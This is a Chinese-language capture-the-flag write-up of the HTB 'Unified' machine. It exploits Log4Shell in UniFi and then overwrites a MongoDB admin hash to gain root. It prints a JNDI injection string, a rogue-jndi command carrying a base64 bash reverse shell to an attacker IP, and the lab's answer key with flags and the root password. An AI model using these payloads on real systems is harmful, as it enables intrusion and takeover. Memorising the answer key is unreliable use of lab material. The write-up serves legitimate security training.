HTB-Unified(log4j2漏洞、MongoDb替换管理员密码)
前言
- 各位师傅大家好,我是qmx_07,今天给大家讲解Unified靶机
渗透过程
信息搜集
- 服务器开放了SSH服务,HTTP服务
访问网站 验证log4j2漏洞
- 8443端口:UniFi 网络 ,访问查询 是否有Nday漏洞利用
- 可以观察到UniFi的版本号:6.4.54
- 通过搜索引擎查询,该服务拥有CVE-2021-44228 漏洞
- 使用tcpdump工具 监听网卡流量
- 通过修改remember字段
${jndi:ldap://10.10.16.2/o=tomcat}
- 可以看到UniFi服务器 对 本地服务器 发起了请求,确认存在log4j2漏洞
利用log4j2漏洞,反弹会话
- 工具准备:
准备工具:
1.openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y
2.Maven
sudo apt-get install maven -y
3.编译maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
rogue-jndi:开启本机ldap服务,允许接收其他服务器数据,可执行代码
- 生成反弹命令 进行base64加解密:
echo 'bash -c bash -i >&/dev/tcp/10.10.16.2/4444 0>&1' | base64
使用命令:
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" --hostname "10.10.16.2"
- 这段代码的意思是 使用之前制作的base64 反弹代码,进行base64解密,bash加载,目标是10.10.16.2
- 同时要监听端口会话,等待反弹
"${jndi:ldap://10.10.16.2:1389/o=tomcat}"
- 通过remember字段 构造命令,反弹会话
script /dev/null -c bash
- 监听端口,稳固会话
通过修改mongoDb数据库 管理员密码,进入网站后台
- 查询unifi 中间件的数据库,一般默认是mongdb数据库
- mongdb默认数据库为ace
- 数据库端口开放在 27117
mongo --port 27117 ace
- 指定端口号,连接mongo数据库
db.admin.find().forEach(printjson);
- 通过这个命令可以枚举用户信息,并且以json格式打印
- 通过hashid工具 分析哈希值使用的加密方式
- 通过mkpasswd 设置哈希编码,构造新密码
db.admin.update({"_id":
ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$0dOBQ6ZeDhxJi9Df$HEFkxcqfmWhHbyt0h4WAAzRNqg9n.19ryJfXy.ZcRkcAWKvjy9IQ42OAjRRafoEXTf5ZqzVByYnIuk9U/a8Py1"}});
- 查找administrator管理员账户id,修改密码 为之前生成的哈希密码,更新成功
- 成功进入后台
通过后台提供的ssh,获取flag
- 账号:root
- 密码:NotACrackablePassword4U2022
- 登录用户
- 用户flag:6ced1a6a89e666c0620cdb10262ba127
- root flag:e50bc93c75b634e4b272d2f771c33681
知识点讲解
- 受影响版本:
Apache Log4j 2.x <= 2.14.1
- 受影响的应用组件:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
- log4j2漏洞原理:
log4j2 框架下的 lookup服务提供了 {}字段解析功能,传进去 的 值会 被 直接解析,JNDI服务会请求 远程服务 来 连接 本地对象,这时候 只用在{}里面调用JNDI服务即可 反弹shell 到指定服务器
- 流量特征:
数据包里面有{jndi: ldap}字段
- 修复:
1.禁止 用户 请求 参数 出现 攻击关键字
>2.禁止 lookup 下载远程文件
3.禁止 log4j2 应用 连接外网
答案
- 1.服务器开放的前四个端口是什么?
22,6789,8080,8443
- 2.8443端口运行服务的标题是什么?
UniFi Network
- 3.中间件版本是多少?
6.4.54
- 4.此CVE编号是多少?
CVE-2021-44228
- 5.JNDI注入使用什么协议?
ldap
- 6.用什么工具来监测网卡,验证是否存在漏洞?
TcpDump
- 7.需要拦截哪个流量端口?
389
- 8.Mongod服务运行在哪个端口?
27117
- 9.UniFi 在Mongod数据库的默认库是什么?
ace
- 10.在Mongod数据库中使用什么命令来枚举用户信息?
db.admin.find()
- 11.在Mongod数据库中使用什么明来来更新数据?
db.admin.update()
- 12.root用户的密码是什么?
NotACrackablePassword4U2022
- 13.用户flag是什么?
6ced1a6a89e666c0620cdb10262ba127
- 14.root flag是什么?
e50bc93c75b634e4b272d2f771c33681
总结
- 我们介绍了log4j2 漏洞 原理、流量特征、修复意见、利用过程 和 Mongod数据库 更换 管理员密码 登录后台,使用hashid 分析哈希值、mkpasswd 来生成密码